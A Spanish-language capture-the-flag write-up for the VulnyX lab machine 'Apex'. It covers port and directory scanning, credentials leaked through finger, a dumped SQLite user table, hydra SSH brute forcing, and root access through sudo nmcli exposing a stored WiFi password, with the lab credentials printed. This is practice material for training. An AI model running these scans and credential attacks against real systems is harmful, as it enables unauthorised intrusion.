cd ~/blog

~/writeups/vulnyx/07-apex.md

07 - Apex

easy Linux vulnyx 11-02-2025
Finger personal-notes disclosureSQLite credential dump + reusesudo nmcli WiFi password extraction
vulnyx.com

~1 min de lectura


Enumeramos puertos y directorios:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.43
 nmap -sCV -p 22,79,80 -oN 02-targeted.txt 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 18:53 -03
Nmap scan report for 192.168.1.43
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open  finger  Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: The all seeing eye...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.41 seconds
 gobuster dir -u 'http://192.168.1.43' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/index.html           (Status: 200) [Size: 878]
/img.png              (Status: 200) [Size: 250077]
/backup               (Status: 401) [Size: 459]

El sitio muestra una imagen del dios Horus ("The all seeing eye..."), lo que sugiere el usuario horus. Lo confirmamos con finger, que además filtra unas credenciales en el campo personal notes:

 finger horus@192.168.1.43
[192.168.1.43]
Login: horus          			Name:
Directory: /home/horus              	Shell: /bin/bash
Never logged in.
Mail forwarded to horus@point.nyx
No mail.
PGP key:
personal notes: H0Ru$$3rv3
No Plan.

Usamos esas credenciales (horus:H0Ru$$3rv3) para acceder a /backup, que protege con autenticación HTTP una base de datos SQLite. La descargamos y volcamos su tabla de usuarios:

 sqlite3 database.db
SQLite version 3.48.0 2025-01-14 11:05:00
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy

Guardamos usuarios y contraseñas en listas y hacemos fuerza bruta cruzada contra SSH:

 hydra -L users.txt -P passwds.txt 192.168.1.43 ssh -t 64
...
[22][ssh] host: 192.168.1.43   login: seth   password: xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
...

Resulta que seth reutiliza la contraseña de amon. Nos logueamos y obtenemos la primera flag:

 ssh seth@192.168.1.43
seth@192.168.1.43's password: xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
seth@apex:~$

Para escalar privilegios, revisamos los permisos sudo:

seth@apex:/tmp$ /usr/sbin/sudo -l
Matching Defaults entries for seth on apex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User seth may run the following commands on apex:
    (root) NOPASSWD: /usr/bin/nmcli

Podemos ejecutar nmcli como root. Listamos las conexiones guardadas y extraemos la contraseña WiFi almacenada en texto claro:

seth@apex:/tmp$ /usr/sbin/sudo nmcli connection show
NAME         UUID                                  TYPE  DEVICE
MikroTik_AP  e25d230b-bb26-4488-b2e0-1b94dac2b9cd  wifi  --

seth@apex:/tmp$ /usr/sbin/sudo nmcli -s -g 802-11-wireless-security.psk connection show "MikroTik_AP"
WIFI_p@$$w0rd_is_$up3r_$3cur3

Esa contraseña resulta ser la de root, así que nos autenticamos:

seth@apex:/tmp$ su root
Contraseña: WIFI_p@$$w0rd_is_$up3r_$3cur3
root@apex:/tmp#

Obtenemos la flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados